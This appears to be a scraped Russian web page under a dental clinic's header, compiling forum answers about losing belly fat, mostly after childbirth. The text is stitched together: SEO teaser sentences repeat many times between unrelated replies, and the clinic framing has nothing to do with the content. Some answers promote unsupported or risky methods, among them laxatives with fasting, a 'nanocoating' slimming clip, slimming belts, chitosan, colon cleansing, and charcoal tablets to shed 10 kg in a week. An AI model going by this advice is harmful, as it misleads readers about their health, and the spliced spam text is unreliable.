Кафедра челюстно лицевой хирургии и стоматологии СамГМУ

ОАО "Поволжский Специализированный Реабилитационный Стоматологический Центр"
Терапия Ортопедия Пародонтология Хирургия Ортодонтия Имплантология Эстетическая хирургия ЧЛХ
  ?>
О компании
Услуги
Прайс
Наши разработки
Наш коллектив
Бесплатная
   консультация

Каким видом спорта занятся чтоб убрать живот и подкачать пресс.

Плаванье, конечно.

Сумо.

Боевые искусства попробуй!

Убрать живот и подкачать пресс... Ну во-первых бег, Only бег через день по 45минут в сутки минимум. То есть футбол, баскетбол и прочие активные виды спорта. Можно и боевые искусства ( только не сумо ) . Карате сушит хорошо.

Потренируйся в качалке, а лучше найми тренера.

Кросс фит.

Однозначно бокс, так как там задействована больше верхняя часть туловища.

Street Workout

Побольше девок трахай, потратишь калорий массу и пресс тебе будет, и удовольствие.

Кардиоупражнения типа бега вело лыж коньков, заодно сжигают подкожный жир для проявки кубиков пресса

Хоть тренажеры, хоть танцы главное чтоб тренировки были не каторгой, а с удовольствием ходить!
А любая активность хороша!

Что нужное есть чтоб убрать живот бедер и жир в ляшках после родов ?

Гимнастика поможет))

Чтобы убрать живот, необходимо избавиться от причин, по которым он образовался изначальноПри небольшом животе достаточно будет исключить употребление жирных продуктов, а также возьмите за правило ужинать кефиром со свежими фруктами.

Попробуйте белково-углеводное чередование! сохраняет тонус мышц и убирает жировую прослойку лишнюю, но спорт нужен это может быть бег, растяжка, гимнастика, зал, фитнес, но упор лучше для начала сделать на кардио тренировки, опять же только вместе эти вещи полезны)))

Скорее чего не надо есть.... Отдавайте предпочтение малокалорийному белку: нежирный творог, филе куриной грудки без кожи, кефир, рыба, приготовленная на пару. И спорт. Хотя не представляю, как можно не похудеть после родов. Чего-чего, а движения с ребенком хватает. Я к 4-м месяцам дочкиным была худее, чем до беременности.

Нормализация гормонального фона
и как раз не есть, а дробно питаться за одного, а не за двоих или троих..

Не есть то от чего он образовался

Низко калорийное питание! Не путать с низко углеводным.. .
Это поможет убрать вес и жир!
Но, эластичность и упругость мышц и кожи только через физ нагрузки.
Работа с весами в зале хорошо все подтянет, но это уже другая история.. .
Успехов!!!

Как убрать живот в домашних условиях, а также как сделать его плоским и привлекательным. Причины и последствия от лишних килограммов живота. Рецепты правильного.

Правильно питаться в первую очередь,
если сразу после родов - то начать хотя бы с легкой гимнастики

Реально ли мужчинам выше 35 лет убрать живот и каким способом? И чтоб после не было обвисаний на животе

В спорт зал!... хотя, смотря какой живот....

Ведь чтоб вырастить живот, нужно было много кушать и мало тратить энергии, что могли себе позволить только очень не многие в те стародавние времена.От него проще всего избавиться при желании. Что Нужно делать, чтоб убрать живот.

Я видел женщину ей 34 года. . или уже больше. . и она такая красотка звать её Jamie Eason. так что погляди за ней. . и бери с неё пример уважамый..

Все возможно при желании, врятли кто-то даст мне мои годы...

Реально.. диета+спорт. зал...

Все в нашей жизни реально-главное захотеть))))

Возможно. Основа основ- правильно питание, тренировки.
вот http://fitnesspoint.ru/programma/

Что нужно есть чтобы убрать живот Рассмотрим вопрос, что нужно есть, чтобы убрать живот. Для того чтобы убрать живот существуют специальные диеты, которые в первую очередь ограничивают ваше питание таким образом, чтобы остановить рост живота.

Что надо есть чтоб быстро похудеть?и какие упражнение делать чтоб убрать живот,в домашних условиях?

Пить не менее 2л воды утром и качать пресс

Правильный рацион, что бы убрать живот и бока быстро и без вреда для здоровья. Единственное, что вам нужно изменить в первую очередь в своей диете это кол-во потребляемых калорий. Если вы едите 1500 ккал в день...

"Лавакол" и голодание - тут уж быстрее некуда. Но вообще по хорошему, то диета и физра, все стандартно

Меньше есть и больше шевелиться...

Дочь вышла замуж, муж был 100кг с небольшим и дочь с детства полная была. Сели на диету без соли и без мучного и сладкого, жареное тоже не ели. Похудели сильно оба. Сейчас едят практически все, сахара мало и мучного мало. Дочь родила, но весу так и не набрала. Никаких добавок и голоданий. Кстати никакими занятиями физическими не занимаются оба

Сколько надо качать пресс чтоб убрать живот?

Не сколько его нужно качать постоянно и приэтом еще и питаться правильно..

Быть подтянутыми и красивыми мечтают все! Однако не многие могут похвастаться подтянутым животиком и стройными боками.Распространено ошибочное мнение, что, качая пресс, вы уберете с живота жир и сделаете живот плоским.

Смотря какой живот.. . Ходьба на попе, кручение обруча, бег и ходьба быстрым шагом в помощь

Пресс качать не нужно, НУЖНО ПОХУДЕТЬ!! ! что совсем мозгов нету?

Много и очень много и регулярно.

Регулярно

Пресс качают каждодневно и всю жизнь, бросишь и начнет расти ещё быстрее)) ) так, что на правильном пути))) , а то некоторые хотят с помощью диет сбросить вес и ни слово о фигуре)))

Занимаюсь разными видами фитнеса, а живот все не уходит. Посоветуйте, каким фитнесом заняться, какие упражнения делать, и на каких тренажерах заниматься. А главное, что есть и пить, чтобы убрать живот и сделать талию тоньше!

Я качаю каждый день.
утром: 150раз
днем: 200раз
вечером: 100раз

Не пр ерывно каждый день

Месяц

Подскажите упражнения,чтоб убрать низ живота.какой прес нужно качать?нижний или верхний?

Прес у человека ОДИН!

И тогда мы начинаем изыскивать кардинальные способы, чтобы убрать живот и бока быстро и эффективно.Но есть и некие универсальные принципы, которые помогут избавиться от ненавистных складочек на боках и подтянуть животик до прежних размеров.

Нижний

Вот упражнение: ложишься на пол спиной и поднимаешь ноги до вертикального их положения, еще можно одновременно сгибаться "книжкой" то есть одновременно сгибать колени и поднимать тело вперед. так же можно просто повиснуть на турнике и поднимать ноги к турнику ( очень результативно)

Http://www.perfit.ru/
спроси здесь

Убрать жир внизу живота можно только строгой низкоуглеводной (низкожировой) диетой (меньше алкоголя в том числе) и усиленной аэробной нагрузкой типа бега. Накачка пресса к жиру не имеет никакого отношения!!!

Низ живота убирается не упражнениями с пресом... они просто малопродуктивны
Для того что бы подтянуть живот нужны 2 совсем других упражнения
1)Становая тяга
2)Жим ногами
Придете в тренажерный зал, спрсоите у кого что и как насчет этих 2 упражнений и поделаете... через 2-3 месяца живот будет ровным, если больше-то появиться пресс
но само упражнение-глупо... для турникмэнов... это миф что так можно живот убрать

Правильная программа того что есть, чтобы похудел живот должна содержать следующие продуктыЧто пить, чтобы убрать живот. Среди продуктов, убирающих живот, числятся следующие напитки

Тарабанова права, но тренировка пресса все таки немного усиливает сжигание за счет кровотока и более выраженные мышцы лучше просматриваются под жиром.

Ты сам ответил на свой вопрос.

Если будешь качать только пресс, жир не уйдет- мышцы пресса будут расти под слоем подкожного жира. Чтобы сжечь жир нужно бегать, или на велосипеде ездить..

Как заставить Матушку убрать живот?? Дорогие женщины посоветуйте что-то, упражнения или еще что то?Чтоб был результат

Вот хороший способ диета!
Соблюдая эти рекомендации, вам не придется мучить себя мыслью: как похудеть быстро или как похудеть быстро без диет!
1. Пейте воду
Нет, вам не придется накачивать себя водой под завязку, но надо выпивать хотя бы 8- 10 стаканов в день. Не заменяйте воду соком. Вашему организму должно хватать жидкости. Ваши почки будут вам благодарны, так как легко смогут выводить все лишнее. Имея достаточное количество воды ваш организм будет лучше справляться с жиром. Знаете и вы что выпив стакан ледяной воды вы тратите 62 калории.
2. Ешьте 5 раз в день
Начните с завтрака. Не пропускайте эту трапезу, т. к. закончится это тем, что на ужин вы сметете все что есть в холодильнике. Не надо каждый раз съедать огромные порции. Ешьте медленно и съедайте такое количество пищи, только чтобы исчезло чувство голода.
3. Тренажер
Нет нужды повторять, что физические упражнения являются решающим фактом в вопросе сброса веса. Не стоит ждать чуда и ожидать, что сидя на диване, попивая воду со льдом вы будете терять вес. Запишитесь в хороший спортзал и поработайте на тренажерах. Это поможет нарастить мышц и повысит метаболизм в вашем организме. Очень скоро вы заметите, что жир уступает место мускулам.
4. Маленькая тарелочка
Фастфуд изменил наши взгляды на еду. Сегодня обычной порцией можно накормить слона. Ну или слоненка! В следующий раз когда вы обедаете в ресторане (вне дома) обратите внимание на свою порцию. Вам не обязательно съедать её всю. Попросите вам её запаковать с собой и съешьте её завтра. Или просто в следующий раз накладывайте себе обед в более маленькую тарелку.
5. Читайте между строк
Это не относится к этой статье :), а к данным об употребляемой пище. Еда и напитки везде преследуют нас. Они просто кричат «Купи меня! Купи!» . На этикетке может и быть написано «Обезжирено» (‘fat free’), но в нем все равно может быть много калорий. Вам следует проанализировать то, что написано на этикетке. Поймите что же все-таки хорошо для вашего организма и что нет.
6. Заведите дневник
Нееет – не ЖЖ, а журнал продуктов. Он поможет вам понять, что вы съедаете за день. Так вы сможете понять меняются ли ваши привычки в еде. Так же можете проконсультироваться у диетолога, показав ему свой дневник.
7. Не изводите себя
Делайте себе разгрузочный день хотя бы раз в неделю. Если вам не нравится ваша диета, то скорректируйте ее или откажитесь от нее. Ищите такую диету, которая устроит вас и подойдет к вашему образу жизни.
Вы без сомнения увидите результат если будете следовать эти 7 правилам. Если вы действительно хотите сбросить вес и будете придерживаться режима, то вы очень быстро добьетесь желаемого результата!

Какие продукты убирают живот составляем меню. Если спросить у квалифицированного диетолога, что есть, чтобы похудел живот, он наверняка заведет разговор о клетчатке. Что это такое?

Подскажите какие нибудь способы чтоб убрать живот?! Говорят что если качать пресс то не поможет...

Ну это смотря как качать

Чтобы убрать живот, необходимо избавиться от причин, по которым он образовался изначальноПри небольшом животе достаточно будет исключить употребление жирных продуктов, а также возьмите за правило ужинать кефиром со свежими фруктами.

Мне помогло!

Не кушать после шести вечера. . а если очень захочется, попейте кефирчику, можно любой сок или легкий салатик с маслом. через 2 недели заметите результат.

А без этого (а еще и спину в придачу) точно ничего не поможет

Куда бы убрать живот, чтоб грудь шире стала (гусары, молчать!)

Шибко краснею. Но теоретически смею предположить, что если не в "грудь", то в горб.))

Как убрать живот в домашних условиях, а также как сделать его плоским и привлекательным. Причины и последствия от лишних килограммов живота. Рецепты правильного.

Упал отжался, глядиш сам уберётся.

Ну втяни хоть)))))))

Чтобы стала шире грудь, логично было бы убрать его туда - в грудь!... Либо только липосакция вам поможет!...)))

Можно ли убрать живот так чтоб все остальное не худело?

Качать пресс, крутить обруч, не есть хлеб и всё что с дрожжами.
Пресс качать поднимая одновременно ноги и плечи.
Ещё такое упражнение- садишься на колени, руки вперед вытягиваешь, в замок их. Садишься влево, поднимаешься обратно на колени, садишься вправо. И так далее. Руками не помогать. "Неваляшка" называется упражнение.

Ведь чтоб вырастить живот, нужно было много кушать и мало тратить энергии, что могли себе позволить только очень не многие в те стародавние времена.От него проще всего избавиться при желании. Что Нужно делать, чтоб убрать живот.

Пластики помогут. Если честно, если бы знала раньше, давно бы сделала. Год ровно прошел, а эйфория не проходит.

Только липосакция и только она.... так шо тафай, убирай....

Конечно можно! Используй не диету, а физические упражнения на ту часть тела, которую хочешь улучшить

Очень просто-не есть после шести, а вернее много не есть что бы не растягивать желудок, можно есть часто но мало, и конечно же пресс, в любом случае другие части тела будут в тонусе!

Лена всё зависит от возраста. У некоторых для коррекции отдельных частей тела может уйти год, а у некоторых и несколько месяцев. Если вы склонны к полноте и просто хотите иметь талию, то могу дать несколько упражнений 1. Банально пресс-30 раз за минуту. 2. обруч с отягощением5 минут 3. прыжки 3раза обычно на двух ногах и четвёртый прыжок с поднятие колен к груди 5 раз. Повторять комплекс 3 раза в день. После комплекса наклоны до пола, повороты туловища и в конце потянуться ввверх 3 раза. и ещё в течении дня втягивать и надувать живот - несколлько раз с напряжением стенок живота. Это можно делать и сидя и лёжа, в транспорте и не кухне в общем прауктически в любой ситуации. Удачи Вам и здоровья! Думаю мои советы вам помогут.

Что нужно есть чтобы убрать живот Рассмотрим вопрос, что нужно есть, чтобы убрать живот. Для того чтобы убрать живот существуют специальные диеты, которые в первую очередь ограничивают ваше питание таким образом, чтобы остановить рост живота.

Купите себе пояс для похудения в аптеке он ещё при болях в пояснице помогает, называется "Вулкан", стоит около 150 руб.

Как правило, "утягиается" всё тело, а не отдельные части. Даже если крутить обручь - немного уйдет и с "пятой точки", проверено))

Так не получится. . диеты и физические упражнения.. . но худеет все тело. . чаще всего начиная с верхних частей тела.. . сначало лицо. . затем плечи. грудь, живот....

К сожалению так устроен человеческий организм, избавление от жира идет ровномерно по всему телу! Если начинаеш худеть, то худеют и те места где все устраивает!

Врядли такое возможно...

Правильный рацион, что бы убрать живот и бока быстро и без вреда для здоровья. Единственное, что вам нужно изменить в первую очередь в своей диете это кол-во потребляемых калорий. Если вы едите 1500 ккал в день...

Если есть шрам на животе после операции, которому около 10 лет, какие средства есть чтоб его убрать?

Пластика только

Быть подтянутыми и красивыми мечтают все! Однако не многие могут похвастаться подтянутым животиком и стройными боками.Распространено ошибочное мнение, что, качая пресс, вы уберете с живота жир и сделаете живот плоским.

Утюг....

С помощью лазерной шлифовки

Я татуировку сделал))

К сожалению, кожные рубцы являются неизбежным следствием любой открытой травмы или операции. Они остаются на всю жизнь, нередко создавая заметный косметический и функциональный дефекты. Людям, по воле случая, столкнувшимися с этой проблемой, следует знать, что качество большинства рубцов можно улучшить в той или иной степени или убрать рубцы полностью.
Наиболее распространенные методы устранения рубцов:
* Иссечение рубцов
* Шлифование рубцов (механическое, лазерное и проч. )
* Медикаментозная терапия
* Физиотерапия
* Косметический татуаж
В ряде случаев для решения данной проблемы применяются комбинированные методы лечения.
Не тратьте деньги на мази и кремы, для старых келлоидных рубцов они не годятся.

Вес 70 кг рост 176 см нормально? но почему то есть живот как его убрать? может похудеть потом качаться?

А возраст?

Занимаюсь разными видами фитнеса, а живот все не уходит. Посоветуйте, каким фитнесом заняться, какие упражнения делать, и на каких тренажерах заниматься. А главное, что есть и пить, чтобы убрать живот и сделать талию тоньше!

Жирок имеется, да и общий тонус твоего 17 летнего организма беспокоит.
Хватит сидеть на попе ровно, займись спортом, тот килограмм сала, что на животе прилип, постепенно рассосётся) ) И питание у тебя явно абы какбы.. .
Кстати, живот научись втягивать, и над осанкой работай, не сутулься.

Как сделать, чтоб живот стал меньше?

Меньше есть. Больше двигаться.

И тогда мы начинаем изыскивать кардинальные способы, чтобы убрать живот и бока быстро и эффективно.Но есть и некие универсальные принципы, которые помогут избавиться от ненавистных складочек на боках и подтянуть животик до прежних размеров.

Не знаю, родить может быть!

Данным вопросом вы напрашиваетесь на массу неприятных ответов.

Худеть, жировую прослойку нельзя уменьшить локально без уколов и операций, организм худеет весь и сразу, просто где то жира меньше, но он там есть, хотя кажется что руки не большие, например.

Да никак. уж такой вы родились

Ну хоть что-нибудь. было бы чудно

Правильная программа того что есть, чтобы похудел живот должна содержать следующие продуктыЧто пить, чтобы убрать живот. Среди продуктов, убирающих живот, числятся следующие напитки

Кардио нагрузки.

Отличные результаты дает сочетание дыхательной системы Оксисайз со специальными упражнениями и с инновационной разработкой российских ученых - клипсой с нанопокрытием для похудения.
Преимущества такого метода:
•Относительная простота и доступность для каждого.
•Можно худеть и укреплять тело в домашних условиях.
Клипса с нанопокрытием сочетает в себе достижения нанотехнологий и рефлексотерапии.
Снижает чувство голода, ускоряет обмен веществ, нормализует работу эндокринной системы и пищеварительного тракта.
Дыхательная гимнастика Оксисайз в сочетании со статическими упражнениями на определенные участки тела (живот, талия, бедра, ягодицы и другие) позволяет снизить их объемы и укрепить мышцы.
А все вместе-клипса с нанопокрытием и Оксисайз –это то что вам нужно!
Подробнее смотрите на сайте «Похудеть - 21 век» .

Так, внимание! Продолжительность диеты Кима Протасова пять недель. В первый день, во второй, в третий и так всю неделю вы едите ТОЛЬКО сырые овощи, а также сыры и йогурты 5%-ной жирности. Позволено одно вареное яйцо в день. Количество ЛЮБОЕ! Время дня ЛЮБОЕ! Смысл этой прогрессивной диеты в том, чтобы съесть как можно больше овощей и 5%-ных молочных продуктов. Чай, кофе можно в любом количестве ( только без сахара ), а воду в обязательном порядке 2 л в день. Вам стало чуть грустно? Так и быть, лично от себя разрешаем вам еще 3 зеленых яблока. Что? Не стоит благодарности, на здоровье. Причем овощи вы вольны употреблять в любом виде. Хотите – грызите огурцы, посыпая их болгарской брынзой ( 5%-ной ), хотите – макайте помидоры и болгарские перцы в йогурт, а хотите – приготовьте огромную порцию салата из всевозможных овощей, порежьте туда вареное яйцо и посыпьте все сыром.
И только посмейте пожаловаться, что вы голодны! Спокойно ешьте утром, днем, вечером, ночью – целую неделю. И точно так же – вторую неделю.
Удивительно, но со второй недели у вас пропадает охота есть что-либо, кроме овощей, сыра и подаренных нами яблок. Многие даже отказываются от вареного яйца, которое с жадностью поедали в начале диеты. К концу второй недели вы почувствуете необычайную легкость во всем теле и в … мыслях. Не отягощенный жиром, мясом и сладостями организм потребует живости поступков, чтобы не удариться в адюльтер. С начала третьей недели вы обязаны присовокупить к овощам и сырам кусочек ( 300 г ) жареного мяса, птицы или рыбы. Пожалуйста, немного сократите сыры и йогурты. Овощи, сыры, мясо, яйцо и яблоки вы едите еще три недели. И все! Через три недели после начала диеты вы начнете просто таять на глазах у изумленных коллег и домочадцев. Две последние недели происходит самое интенсивное сбрасывание веса.
Приготовьтесь к тому, что, когда диета будет завершена, вы, госпожа, похожая на гибкую лань, не сумеете с жадностью наброситься на всевозможные яства. Вам придется приложить немало усилий, чтобы заставить себя съесть хлеб с маслом, жареную картошку или пельмени.
Всем, даже тем, у кого нет лишнего веса, мы советуем раз в год, посредством такой необременительной и нетяжелой диеты очищать свой организм.

Подскажите что нужно делать чтоб убрать живот ,пресс качаю толку нет ?

Втяни в себя.))

Какие продукты убирают живот составляем меню. Если спросить у квалифицированного диетолога, что есть, чтобы похудел живот, он наверняка заведет разговор о клетчатке. Что это такое?

"Животик"-это жир,ну а жир убирается только при помощи аэробных тренировок-бег,велотренажёр,стэппер и т.п.Качая только пресс вы качаете мышцы,но они всё также остаются по жировой прослойкой.Но отказываться от работы на пресс нельзя,Для лучшего эффекта лучше заниматься в комплексе.Почему аэробные тренировки-В течении первых 30-40 минут аэробной работы человек энергию тратит углеводы,а потом начинают гореть жиры.40мин бега,или иной физ.нагрузки 4-5 раз в неделю будет самым лучшим способом избавиться от "животика".
1.ГЛАВНОЕ:ноги следует держать строго перпендикулярно полу,таз нужно поднимать вверх,не двигая им в горизонтальном направлении,в упражнении должны участвовать только мышцы пресса,помощь руками снижает эффективность.
И.П:лежа на спине,зацепитесь заведенными за голову руками за нижний край дивана,затем поднимите ноги вертикально и оттяните носки.
ДЕЙСТВИЯ:Сокращением мышц брюшного пресса приподнимите таз и ноги, стараясь не отклонять их от вертикального положения,не напрягая сильно колени.Такое положение сохраняйте 3сек,а потом медленно возвращайтесь в исходное.1-3 подхода по 8-10 раз.
2.ГЛАВНОЕ:не задирайте высоко голову,лопатки должны быть лишь немного приподнятые;подошве ноги,не совершающей движений, нельзя отрываться от пола
И.П:лягте на спину и втяните живот,руки расположите вдоль туловища,ладонями книзу,согните ноги в коленях,чтобы ступни были плотно прижаты к полу,поднимите голову,немного оторвав плечи от пола.
ДЕЙСТВИЯ:Напрягите нижнюю часть брюшного пресса и медленно поднимите одну ногу к груди,но не до конца,чтобы бедро заняло перпендикулярное полу положение,а голень—параллельное.В таком положении нужно находиться две секунды,потом медленно вернуться в исходное.1-3 подхода по 8-10раз
3.ГЛАВНОЕ:не отрывайте голову от пола,ступни должны иметь плотный контакт с полом.
И.П:в положении на спине,сцепите руки за головой,локти разведите в стороны,ноги согните в коленях под углом 90градусов.
ДЕЙСТВИЕ:Прижмите поясницу к полу и втяните живот.Поднимите верхнюю часть тела,не двигая при этом руками.Не удерживая дыхание, сохраняйте положение две секунды,а потом медленно возвращайтесь в исходное.1-3 подхода по 8-10 раз.
4.ГЛАВНОЕ:необходимо поддерживать постоянное напряжение мускулов брюшного пресса и таза,не расслабляться в конце каждого повторения,нельзя перекатываться на спину.
И.П:лягте на спину,руки сцепите за головой,локти в стороны,согните ноги в коленях таким образом,чтобы голени и ступни оказались параллельны полу,а бедра—перпендикулярны.
ДЕЙСТВИЯ:С помощью напряжения мышц живота следует немного приподнять таз в направлении груди.Колени при этом должны двигаться ко лбу,в конечной фазе голени должны занять почти вертикальное положение,а бедра—почти горизонтальное.Через две секунды нужно осторожно принять исходное положение.8-10 раз в 1-3 подхода.
5. ХУЛА ХУП с массажными шишечками на внутренней поверхности.Такой вариант подойдет тем,кто хочет быстрее добиться стройности в области талии и бедер.При этом улучшается кровообращение и циркуляция лимфы,что способствует более быстрому сжиганию жира в организме и нейтрализует целлюлит.Спeциaльныe шapики внутpи oбpучa дают эффeктивный мaccaж мышц живoтa и cпины,чтo cпocoбcтвуeт cжигaнию жиpa в oблacти тaлии,уcиливaют пищeвapeниe и вывoд шлaкoв из opгaнизмa.
1. Встаньте прямо, ноги прямые или чуть согнуты в коленях на ширине плеч или чуть шире. Вес тела равномерно распределён по стопе, носки направлены слегка наружу.
2. Напрягите мышцы брюшного пресса и поясницы и старайтесь держать их в таком положении на протяжении всей тренировки.
3. Первое время могут появляться синяки. Явление временное, бояться не стоит. Очень эффективно одеть специальный пояс для похудения - и от синяков спасет и поможет увеличить эффективность похудения.
4. Крутить надо для начала по 5-15 мин, лишь постепенно увеличивая нагрузку.
пять приемов,которые помогут убрать жир с живота

Наверное неверно качаете. Зайдите в любой тренажёрный зал и посмотрите, как зто делают мужчины. Нужны так-же некоторые ограничения в еде.

Займись танцами для живота

Ты родила недавно судя по аве. .
врмя надо. . и больше времени на тренировки. на другие группы мышц.. . попробуй к тренеру сходит прокосультруйся..

Не качайте пресс!! ! так Вы только нарастите себе мышечную массу.
живот бывает разный. у кого-то пивной. у кого-то послеродовой и тп.
крутите обруч. делайте самомассаж с маслом грейпфрута. пропейте травы, выгоняющие лишнюю жидкость. брусничный лист или хвощ

Чтобы убрать живот, необходимо избавиться от причин, по которым он образовался изначальноПри небольшом животе достаточно будет исключить употребление жирных продуктов, а также возьмите за правило ужинать кефиром со свежими фруктами.

Попробуй пояс для похудения, за неделю несколько см в талии
проверенно, поможет 100 процентов

Для того, чтобы убрать живот нужно снизить вес в первую очередь. Без снижения веса живот никогда в жизни не уберётся как бы вы его не качали. То есть это заблуждение, что качая пресс можно убрать живот. Только снижение общей массы тела и делать обычные упражнения на пресс без фанатизма.

Какие упражнения надо делать дома чтоб убрать лишний живот после родов?

Бег и пресс

Как убрать живот в домашних условиях, а также как сделать его плоским и привлекательным. Причины и последствия от лишних килограммов живота. Рецепты правильного.

Банально пресс качать. А вообще не забывайте, что естественная инволюция матки после родов 40 дней. Так что если у вас меньше, то, может, и сам уберется.

Бег трусцой и прес

Только бодифлекс он помог тысячам (это специальные упражнения), книга как и диск на каждом углу. Он помог и мне, попробуй и убедись сама и всего то 15 минут в день.

Попробуй качать пресс. полчаса в день, и не есть после 7-ми... ну правда чтобы все лишнее "убрать" придется месяц минимум работать над собой КАЖДЫЙ ДЕНЬ!! ! Но ведь дело того стоит? :)

Правда бодифлекс это реально

Ведь чтоб вырастить живот, нужно было много кушать и мало тратить энергии, что могли себе позволить только очень не многие в те стародавние времена.От него проще всего избавиться при желании. Что Нужно делать, чтоб убрать живот.

Какие делать упражнения, чтоб похудеть?

Аэробных 70%
силовых 30%

Что нужно есть чтобы убрать живот Рассмотрим вопрос, что нужно есть, чтобы убрать живот. Для того чтобы убрать живот существуют специальные диеты, которые в первую очередь ограничивают ваше питание таким образом, чтобы остановить рост живота.

Пресс качай. коленки постукай друг об друга - это для по худания ножек. не ешь после 18.00. и пробежки не помешают

Глупенькая

Ну можешь делать приседания на ягодицы, а на живот пресс делай , лежишь на полу и поднимаешь одновременно голову и согнутые колени...

Пупсик, а знаешь ли ты, что в этом сезоне в моде толстушки... так что не порть фигуру! )))

Аквааэробика,плавание,пилатес....если в дом.условиях,то упражнения от Синди Кроуфорд (на DVD или VHS)

Правильный рацион, что бы убрать живот и бока быстро и без вреда для здоровья. Единственное, что вам нужно изменить в первую очередь в своей диете это кол-во потребляемых калорий. Если вы едите 1500 ккал в день...

Надо заняться именно теми местами, в которых нужно что-то убрать. Надо попробовать сначала качать пресс, делать хотя бы 50 приседаний на 1 ноге (на каждой), бегать по утрам, не есть хотя бы после 20:00. Также, если есть возможность ходить на аэробику, фитнес. Вести подвижный образ жизни.

На днях по радио услышала, открытие, если заниматься спортом хотябы по 2-3 минуты в день, но выкладываясь на все 100%, так что падать после этого, то эффект такой-же как и от долгих часовых тренировок, пробежитесь быстро как только можите, сколько сможете, загоните себя по быстрому да 10 потов, или интенсив делайте, тоже всего 5 мин, но устанете быстро, это поможет, удачи.

Кушать по-меньше. Если лень заниматься, то масыжер или баня

Бег.
начни с 2км/ в день 2мя с интервалами (1км + 1км).
далее 3 км/день с интервалами (2км + 1км).
захлест голени старайся держать

Keyt-N: такие советы могут довести до нетрудоспособности вообще.
эффект естественно не такой.

Малыш, все у тебя нормально!!! не парься по этому поводу!!! если ты такая- значит так решено судьбой!!!!я думаю что есть такие люди( или будут еще) которые полюбят тебя такой какая ты есть!!! так что не переживай, всё хорошо!!!!ЖЕЛАЮ УДАЧИ!!!!

Быть подтянутыми и красивыми мечтают все! Однако не многие могут похвастаться подтянутым животиком и стройными боками.Распространено ошибочное мнение, что, качая пресс, вы уберете с живота жир и сделаете живот плоским.

Что лутче прес качать или пояс для похудения.Если качать прес то сколько месяцев чтоб убрать живот после родов.

Эхъ.. . Фигура это хорошо, очень хорошо.. . Но разве русский язык, на котором Вы пишете, говно?
А пояс без физических занятий - лишь способ чувствовать дискомфорт. Так что пресс качать всё-таки лучше.

Занимаюсь разными видами фитнеса, а живот все не уходит. Посоветуйте, каким фитнесом заняться, какие упражнения делать, и на каких тренажерах заниматься. А главное, что есть и пить, чтобы убрать живот и сделать талию тоньше!

Качать пресс

Пойдемте со мной на аэробику, там тренер подсказывает, как правильно делать для результата и учитывает особенности организма. Так быстрее будет :-)

Пресс качать и делать скрытую гимнастику (периодически втягивать живот "до спины", выдерживать некоторое время, потом расслабляться)... определенного срока нет - эжто индивидуально

Что нужно сделать чтоб пожудеть и убрать большой живот?

Бегать бегать и еще раз бегать. Легких путей нет. И провертесь, а может действительно береммены, а то вы упражнениями можете навредить ребенку.

И тогда мы начинаем изыскивать кардинальные способы, чтобы убрать живот и бока быстро и эффективно.Но есть и некие универсальные принципы, которые помогут избавиться от ненавистных складочек на боках и подтянуть животик до прежних размеров.

Действительно, сначала тест сделайте, а потом бег и успражнения на пресс помогут. ещё очистка кишечника помочь может

Качай пресс... худеть если худая ненадо! Есть ещё спец пояса для живота

Если проверять, то проверять не на тест, а на опухоль. но это только если живот крепкий и выпуклый. а если, грубо говоря, вы можете ущипнуть себя и потянуть кожу, то могу посоветовать более-менее не вредное средство, которое и очищает, и блокирует калории (любители собирать жирок на ягодицах и животике). это хитозан (эвалар).

Если хотите похудеть и не навредить здоровью, то не голодай и не сиди на жесткой диете. Объясню почему - как только в организм не поступает пища, в мозг идет сигнал критическая ситуация, надо экономить, так как не известно когда будет, поэтому снижается обмен веществ, то есть ты не ешь, но и не худеешь, а когда ты сорвешься с диеты. ты будешь кушать как обычно не больше, но прибавишь в весе, так как обмен веществ уже замедлен. Организм - очень умная машина! Поэтому, что нужно для того, чтобы был результат? Во первых не в коем случае не нарушать режим питания - питаться часто но по немного и лучше продуктами низкокалорийными - не знаешь, возьми, купи справочник и все получиться. Сейчас лето и в основном лучше есть овощи в сыром виде: капусту можешь, есть, сколько хочешь, она полезна, низкокалорийная и там содержаться тартроновая кислота, которая способствует тому, чтобы углеводы не откладывались в организме, а выводились. Исключи полностью: майонез, сливочное масло, замени его растительным, где можно, исключи мороженное, орехи, жаренное, мучное, сладкое. Ешь даже фрукты, хоть там и есть калории, но там много витаминов естественных. старайся питаться белковой пищей, при условии, что здоровы почки. Так как белки могут превращаться в углеводы и жиры в организме, а вот жиры и углеводы не могут в белки, при недостатки белка в организме белок будет браться с органов, а это прямой путь к болезни. Надо пить достаточное количество воды и есть продукты, которые содержат волокна и грубую клетчатку, чтобы очищался хорошо кишечник. Ну и если будет дополнительно к этому физическая нагрузка на мышцы, ты быстро похудеешь, не будет отвисшей кожи, будет красивый живот за счет пресса, ягодицы и бедра за счет накаченных мышц . Удачи!!!

Пресс качай! Или бегай. У меня та же проблема!! ! И я начала бегать 5 месяцев назад. Все говорят, что похудела. Сама вроде тоже вижу, что живот уходит. Но сначала худеет лицо и (как ни жалко... ) грудь! Живот уйдет в последнюю очередь, я это знаю и терплю. Одними диетами тут не справишься, мышцы надо укреплять, а то живот повиснет, как мешок...

Правильная программа того что есть, чтобы похудел живот должна содержать следующие продуктыЧто пить, чтобы убрать живот. Среди продуктов, убирающих живот, числятся следующие напитки

Такое бывает как правило от нарушений связаных с питанием и физической нагрузкой.
Советую травами почистить кишечник, поддерживать водный баланс (1-2 литра воды в сутки пить) . И физическая нагрузка. Но без сбалансированного питания не обойтись.
Я каждые 6-12 месяцев, покупаю очистительную травяную программу = 21 день. Скоро пришлют новую программу для чистки, она дешевле, но если будет так же эффективна?
Рекомендую сырые овощи, фрукты, ягоды и свеже выжатые соки (морковь, тыква, кабачёк, сливы, яблоки, буряк и т. п. )
Я спасаюсь ещё Живым Шоколадом Шосаи (много Антиоксидантов)

Бегай.

  • Пояс для похудения.бандаж - А чем отличается пояс верности от пояса для похудения??? Снимаемостью Пояса для похудения, сауна-белты, массажные пояса
  • Анемия.диета и спорт - Если пить воду целую неделю и таблетки угольные. Можна похудать? Надо скинуть за неделю 10 кг Если ты сейчас весишь 200
  • Белковая диета при диализе - Неделя на кифире Если пить неделю один кефир или ряженку и заниматься спортом, какие будут успехи? Нет, надо еще есть до
  • Диета шесть предметов - Тренеры))помогите) На плавание походи месяцок Диета шесть лепестков действительно помогла похудеть тысячам европейских д
  • Упражнения для похудения живота и боков для мужчин - Упражнения для похудения живота и боков недавно прочитал что если есть лишний вес на животе то пресс будет под ним Будет
  • Диета для больной печени рецепты - Нашли маленькую собачку на улице взяли домой, но у нее из пасти воняет за километр, что делать? чистка зубов не помогает
